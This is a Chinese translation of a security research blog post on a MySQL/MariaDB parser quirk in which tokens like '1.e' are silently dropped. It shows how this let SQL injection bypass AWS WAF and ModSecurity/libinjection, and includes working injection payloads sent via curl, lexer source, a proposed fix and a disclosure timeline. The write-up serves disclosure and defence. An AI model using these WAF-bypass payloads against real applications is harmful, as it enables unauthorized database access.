mysql 安全漏洞,中的科学记数法漏洞使
mysql 安全漏洞,中的科学记数法漏洞使SELECT table_name FROM information_schema .tables通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:SELECT table_name FROM information_schema 1.e.tables因此,实际上该查询的行为与以下相同:问题发现2013年,Roberto Salgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全
作者 |Marc Olivier Bergeron
译者 | 王雪迎
出品 | CSDN(ID:CSDNnews)
GoSecure道德黑客在mysql中发现了一个具有安全问题的漏洞。该问题产生的后果是,AWS Web应用程序防火墙(AWS Web Application Firewall,WAF)客户对SQL注入失去保护。我们的研究团队进一步证实modsecurity也会受其影响,但正如本博客所述,保护是可以实现的。
问题发现
2013年,Roberto Salgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全防御造成混乱。
科学记数法,特别是e符号,已经被集成到许多编程语言中,包括SQL。不清楚是否所有SQL都这样实现,但它是MySQL/MariaDB实现的一部分。下面是一个集成到SQL查询中的科学记数法示例。这实际上是2013年BlackHat演示中的一个。e符号将被忽略,因为它被用于无效的上下文中。
SELECT table_name FROM information_schema 1.e.tables
因此,实际上该查询的行为与以下相同:
SELECT table_name FROM information_schema .tables
通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:
. | & % * ^ /
为了说明这个问题,我们将使用下面的示例数据集来演示:
mysql> describe test;
------- -------------- ------ ----- --------- -------
| Field | Type | | Key | Default | Extra |
------- -------------- ------ ----- --------- -------
| id | int | YES | | | |
| test | varchar(255) | YES | | | |
------- -------------- ------ ----- --------- -------
2 rows in set (0.01 sec)
mysql> select id test from test;
------ -----------
| id | test |
------ -----------
| 1 | admin |
| 2 | usertest1 |
| 3 | usertest2 |
------ -----------
3 rows in set (0.00 sec)
让我们看看关键字“1.e”和该关键字后面的字符可以实现什么效果:
mysql> select id 1.1e char 10.2e(id 2.e) concat 3.e('a'12356.e 'b'1.e 'c'1.1234e)1.e 12 1.e*2 1.e 12 1.e/2 1.e 12 1.e|2 1.e 12 1.e^2 1.e 12 1.e%2 1.e 12 1.e&2 from test 1.e.test;
------ ---------------------------------------- ------------------------------------------ ---------- ---------- ---------- ---------- ---------- ----------
| id | char 10.2e(id 2.e) | concat 3.e('a'12356.e 'b'1.e 'c'1.1234e) | 12 1.e*2 | 12 1.e/2 | 12 1.e|2 | 12 1.e^2 | 12 1.e%2 | 12 1.e&2 |
------ ---------------------------------------- ------------------------------------------ ---------- ---------- ---------- ---------- ---------- ----------
| 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |
| 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |
| 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |
------ ---------------------------------------- ------------------------------------------ ---------- ---------- ---------- ---------- ---------- ----------
3 rows in set (0.00 sec)
上述查询等价于以下查询:
mysql> select id char(id) concat('a' 'b' 'c') 12*2 12/2 12|2 12^2 12%2 12&2 from test.test;
------ -------------------- --------------------- ------ -------- ------ ------ ------ ------
| id | char(id) | concat('a' 'b' 'c') | 12*2 | 12/2 | 12|2 | 12^2 | 12%2 | 12&2 |
------ -------------------- --------------------- ------ -------- ------ ------ ------ ------
| 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |
| 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |
| 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |
------ -------------------- --------------------- ------ -------- ------ ------ ------ ------
3 rows in set (0.00 sec)
太疯狂了,对吧?让我们看一下如何在真实产品中利用此漏洞。
应该注意的是,关键字“1.e”中的数字并不重要。任何数字都可以介于点和“e”之间,并且点是强制性的(例如,“1337.1337e”也可行)。
滥用漏洞绕过AWS Web应用程序防火墙(WAF)
Amazon Web Services(AWS)有一个名为CloudFront的产品,它可以与AWS WAF相结合,并具有预定义的规则,以帮助公司保护其Web应用程序免受入侵。然而,在一次接触中,我们发现AWS WAF中的“SQL数据库”规则可以绕过上一节中显示的漏洞。
一个简单的查询可以显示WAF会阻止使用著名的 1'或'1'='1 注入来请求:
$ curl -i -H "Origin: http://my-domain" -X POST \
"http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or '1'='1"
HTTP/1.1 403 Forbidden
Server: CloudFront
Date: Wed 21 Jul 2021 21:38:16 GMT
Content-Type: text/html
Content-Length: 919
Connection: keep-alive
X-Cache: Error from cloudfront
Via: 1.1 828380fdf2467860fea66d7412803418.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: YUL62-C1
X-Amz-Cf-Id: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>ERROR: The request could not be satisfied</TITLE>
</HEAD><BODY>
<H1>403 ERROR</H1>
<H2>The request could not be satisfied.</H2>
<HR noshade size="1px">
Request blocked.
We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later or contact the app or website owner.
<BR clear="all">
if you provide content to customers through CloudFront you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.
<BR clear="all">
<HR noshade size="1px">
<PRE>
Generated by cloudfront (CloudFront)
Request ID: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==
</PRE>
<ADDRESS>
</ADDRESS>
</BODY></HTML>
现在我们看,如果我们在这个简单的注入中使用科学记数法,利用这个漏洞会发生什么:
$ curl -i -H "Origin: http://my-domain" -X POST \
"http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or 1.e(1) or '1'='1"
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 32
Connection: keep-alive
Date: Wed 21 Jul 2021 21:38:23 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Cache: Miss from cloudfront
Via: 1.1 eae631604d5db564451a93106939a61e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: YUL62-C1
X-Amz-Cf-Id: TDwlolP9mvJGtcwB5vBoUGr-JRxzcX-ZLuumG9F4vioKl1L5ztPwUw==
1 admin
2 usertest1
3 usertest2
仅上述绕过的证据就足以激发我们对该漏洞工作原因和方式的兴趣,以便正确地披露该漏洞,并向相关方展示其对安全性的影响。
漏洞调查
起初,我们没有向MySQL和MariaDB透露这个漏洞,因为我们没有看到它的影响。在我们发现WAF绕行之前,它不会以任何方式影响数据,也不会让你的权限升级。现在我们找到了一个具体的安全影响,让我们了解一下这个漏洞是如何产生的,以及为什么它会这样。
请记住,以下解释特意保持简明扼要。
首先,MySQL和MariaDB通过在查询中查找标记来工作,如数字、字符串、注释、行尾等。一旦代码认为它知道是什么类型的标记,就会通过发送正确的函数来解析该标记。
其次,我们要查看的代码段是整数或实数解析器,因为代码将首先到达该段:
case MY_LEX_INT_OR_REAL: // Complete int or incomplete real
if (c != '.') { // Found complete integer number.
yylval->lex_str = get_token(lip 0 lip->yyLength);
return int_token(yylval->lex_str.str (uint)yylval->lex_str.length);
} // fall through
第三,代码将通过实数函数找到一个点,这就是我们想要了解的代码:
case MY_LEX_REAL: // Incomplete real number
while (my_isdigit(cs c = lip->yyGet))
;
if (c == 'e' || c == 'E') {
c = lip->yyGet;
if (c == '-' || c == ' ') c = lip->yyGet; // Skip sign
if (!my_isdigit(cs c)) { // No digit after sign
state = MY_LEX_CHAR;
break;
}
while (my_isdigit(cs lip->yyGet))
;
yylval->lex_str = get_token(lip 0 lip->yyLength);
return (FLOAT_NUM);
}
yylval->lex_str = get_token(lip 0 lip->yyLength);
return (DECIMAL_NUM);
此时,代码已经处理了点之前的数字,并开始获取点之后的所有数字。然后,条件验证该字符是“e”或“E”,然后获取下一个字符。如果该字符不是数字,则将状态设置为“MY_LEX_CHAR”,然后使用“break”运算符结束switch语句,该运算符返回到switch case的开头。
最后,到达以下case语句,在这里,标记被完全遗忘并从查询中删除:
case MY_LEX_CHAR: // Unknown or single char token
case MY_LEX_SKIP: // This should not happen
if (c == '-' && lip->yyPeek == '-' &&
(my_isspace(cs lip->yyPeekn(1)) ||
my_iscntrl(cs lip->yyPeekn(1)))) {
state = MY_LEX_COMMENT;
break;
}
if (c == '-' && lip->yyPeek == '>') // '->'
{
lip->yySkip;
lip->next_state = MY_LEX_START;
if (lip->yyPeek == '>') {
lip->yySkip;
return JSON_UNQUOTED_SEPARATOR_SYM;
}
return JSON_SEPARATOR_SYM;
}
if (c != ')') lip->next_state = MY_LEX_START; // Allow signed numbers
/*
Check for a placeholder: it should not precede a possible identifier
because of binlogging: when a placeholder is replaced with its value
in a query for the binlog the query must stay grammatically correct.
*/
if (c == '?' && lip->stmt_prepare_mode && !ident_map[lip->yyPeek()])
return (PARAM_MARKER);
return ((int)c);
我们通过阅读注释“Unknown or single CHAR token”可知,此时MySQL并不知道该怎么处理标记,而“MY_LEX_CHAR”条件只是简单地下传到“MY_LEX_SKIP”条件。在“MY_LEX_SKIP”的条件下,函数将以返回字符结束。需要注意的一点是,如果字符不是右括号,则状态被设置为“MY_LEX_START”,这将从一个新标记开始。无论哪种方式,即使它以一个右括号结束,仍然不会返回标记,因此它会被丢弃。
候选修正方案
候选修正方案很简单,比如在标记不正确时中止查询,而不是让它通过。当MySQL或MariaDB找到浮点标记的开头,并且浮点标记后面没有数字时,它应该中止查询。
if (c == 'e' || c == 'E') {
c = lip->yyGet;
if (c == '-' || c == ' ') c = lip->yyGet; // Skip sign
if (!my_isdigit(cs c)) { // No digit after sign
return (ABORT_SYM); // <--- Fix here!
}
while (my_isdigit(cs lip->yyGet))
;
yylval->lex_str = get_token(lip 0 lip->yyLength);
return (FLOAT_NUM);
}
我们向MySQL和MariaDB项目提交了修复程序。注意,这不是我们常做的事情,因为项目维护人员通常更适合修复安全问题。然而在本例中,由于这在MySQL/MariaDB中本身不是一个安全问题,因此我们认为提供修复程序将增加快速解决问题的机会。此外,我个人对浏览大型C/C 代码库以发现问题所在很感兴趣。
带有安全隐患的漏洞
如前所述,此问题的安全影响不在MySQL和MariaDB的控制范围内。任何WAF或类似的安全产品,如果忽略像这样形成的SQL请求,都将容易受到攻击。情况很复杂。如果请求是畸形的,安全产品自然不会认为它们是有效的SQL,从而使它们不需要阻止。
什么是ModSecurity
我们首先在AWS WAF上发现了这个漏洞并报告了它。然而,我们后来决定评估ModSecurity,它是Apache和nginx的流行WAF。ModSecurity捆绑了libinjection,我们也发现它受到这个混淆漏洞的影响。
这里演示了modsecurity阻止恶意SQL注入模式的能力。检测结果显示,返回一个被禁止的页面。
modsecurity(使用libinjection)正在阻止SQL注入
crs_1 | 192.168.208.1 - - [08/Oct/2021:19:28:09 0000] "GET /index.php?genre=action' or ''=' HTTP/1.1" 403 199
crs_1 | [Fri Oct 08 19:28:40.345633 2021] [:error] [pid 218:tid 140514141660928] [client 192.168.208.1:49958] [client 192.168.208.1] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within ARGS:genre: action' or ''='"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/index.php"] [unique_id "YWCb6EwweO7WZjrKg6GHTgAAAMk"]
modsecurity日志高亮显示已触发libinjection
我们可以通过在字面表达式前加上科学记数法“1.e”来规避这种做法。Libinjection在内部标记参数并标识上下文节类型,如注释和字符串。Libinjection将字符串“1.e”视为一个未知的SQL关键字,并得出结论,它更可能是一个英语句子,而不是代码。当libinjection不识别SQL函数时,同样的行为也会出现。
modsecurity和libinjection绕行演示
当我们联系OWASP核心规则集(Core Rule Set,CRS)安全团队时,他们表示,如果规则集配置偏执级别至少为2级,则可以提供有效的保护,这是检测混淆攻击的建议。
时间线
- 2021-02-11:作为约定的一部分,通过AWS WAF滥用漏洞
- 2021-08-16:向亚马逊披露滥用此漏洞的WAF绕行
- 2021-09-29:请求状态更新
- 2021-10-01:AWS表示问题已经解决
- 2021-10-01:发现ModSecurity/libinjection也受到影响
- 2021-10-04:确认AWS WAF修复
- 2021-10-04:将候选补丁发送到MySQL和MariaDB
- 2021-10-05:通过OWASP核心规则集项目(CRS)向ModSecurity/libinjection披露
- 2021-10-05:确认ModSecurity/libinjection中的2级偏执解决方案
- 2021-10-19:公开披露
结论
这个安全问题与其它许多问题不同,因为它很容易被轻视为一个简单的解析器错误。我们很高兴AWS了解了这一风险,并决定在WAF中解决这一问题,特别是因为这是一种我们以前从未见过的,使亚马逊客户可能无法得到保护的奇怪情况。
希望从长远来看,MySQL和MariaDB能够修复这个bug,10年后我们将能够从WAF中删除这种奇怪的解析器行为。
特别感谢Philippe Arteau,他对ModSecurity/libinjection进行了额外的测试。
原文链接:https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
本文由CSDN组织翻译,转载请注明来源及出处!